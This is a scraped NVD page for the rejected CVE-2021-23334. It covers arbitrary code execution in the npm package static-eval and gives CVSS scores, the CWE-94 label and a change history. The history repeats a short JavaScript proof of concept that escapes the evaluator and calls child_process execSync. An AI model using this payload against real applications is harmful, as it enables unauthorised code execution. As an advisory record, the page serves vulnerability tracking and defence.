You are viewing this page in an unauthorized frame window.
This is a potential security issue, you are being redirected to
https://nvd.nist.gov
An official website of the United States government
Official websites use .gov
A .gov website belongs to an official government organization in the United States.
Secure .gov websites use HTTPS
A lock () or https:// means you've safely connected to the .gov website. Share sensitive information only on official, secure websites.
CVE has been marked "REJECT" in the CVE List. These CVEs are stored in the NVD, but do not show up in search results.
Current Description
Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by its CNA. Further investigation showed that it was not a security issue. Notes: none
All versions of package static-eval are vulnerable to Arbitrary Code Execution using FunctionExpressions and TemplateLiterals. PoC: var evaluate = require('static-eval'); var parse = require('esprima').parse; var src="(function (x) { return ${eval("console.log(global.process.mainModule.constructor._load('child_process').execSync('ls').toString())")} })()" var ast = parse(src).body[0].expression; evaluate(ast)
Metrics
NVD enrichment efforts reference publicly available information to associate
vector strings. CVSS information contributed by other sources is also
displayed.
By selecting these links, you will be leaving NIST webspace.
We have provided these links to other web sites because they
may have information that would be of interest to you. No
inferences should be drawn on account of other sites being
referenced, or not, from this page. There may be other web
sites that are more appropriate for your purpose. NIST does
not necessarily endorse the views expressed, or concur with
the facts presented on these sites. Further, NIST does not
endorse any commercial products that may be mentioned on
these sites. Please address comments about this page to nvd@nist.gov.
** REJECT ** DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by its CNA. Further investigation showed that it was not a security issue. Notes: none.
Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by its CNA. Further investigation showed that it was not a security issue. Notes: none
CVE Modified by Snyk6/11/2021 6:15:12 PM
Action
Type
Old Value
New Value
Changed
Description
All versions of package static-eval are vulnerable to Arbitrary Code Execution using FunctionExpressions and TemplateLiterals. PoC: var evaluate = require('static-eval'); var parse = require('esprima').parse; var src="(function (x) { return ${eval("console.log(global.process.mainModule.constructor._load('child_process').execSync('ls').toString())")} })()" var ast = parse(src).body[0].expression; evaluate(ast)
** REJECT ** DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by its CNA. Further investigation showed that it was not a security issue. Notes: none.
https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1071860 [Exploit, Third Party Advisory]
Removed
Reference
https://snyk.io/vuln/SNYK-JS-STATICEVAL-1056765 [Exploit, Third Party Advisory]
CVE Rejected by Snyk6/11/2021 6:15:12 PM
Action
Type
Old Value
New Value
Initial Analysis by NIST2/17/2021 12:47:45 PM
Action
Type
Old Value
New Value
Added
CVSS V3.1
NIST AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Added
CVSS V2
NIST (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Added
CWE
NIST CWE-94
Added
CPE Configuration
OR
*cpe:2.3:a:static-eval_project:static-eval:*:*:*:*:*:node.js:*:*
Changed
Reference Type
https://github.com/browserify/static-eval/blob/master/index.js%23L180 No Types Assigned
https://github.com/browserify/static-eval/blob/master/index.js%23L180 Broken Link
Changed
Reference Type
https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1071860 No Types Assigned
https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1071860 Exploit, Third Party Advisory
Changed
Reference Type
https://snyk.io/vuln/SNYK-JS-STATICEVAL-1056765 No Types Assigned
https://snyk.io/vuln/SNYK-JS-STATICEVAL-1056765 Exploit, Third Party Advisory
CVE Modified by Snyk2/11/2021 1:15:17 PM
Action
Type
Old Value
New Value
Changed
Description
All versions of package static-eval are vulnerable to Arbitrary Code Execution using FunctionExpressions and TemplateLiterals.
PoC:
var evaluate = require('static-eval');
var parse = require('esprima').parse;
var src="(function (x) { return ${eval("console.log(global.process.mainModule.constructor._load('child_process').execSync('ls').toString())")} })()"
var ast = parse(src).body[0].expression;
evaluate(ast)
All versions of package static-eval are vulnerable to Arbitrary Code Execution using FunctionExpressions and TemplateLiterals. PoC: var evaluate = require('static-eval'); var parse = require('esprima').parse; var src="(function (x) { return ${eval("console.log(global.process.mainModule.constructor._load('child_process').execSync('ls').toString())")} })()" var ast = parse(src).body[0].expression; evaluate(ast)
Quick Info
CVE Dictionary Entry: CVE-2021-23334 NVD
Published Date: 02/11/2021 NVD
Last Modified: 11/06/2023
Source: Snyk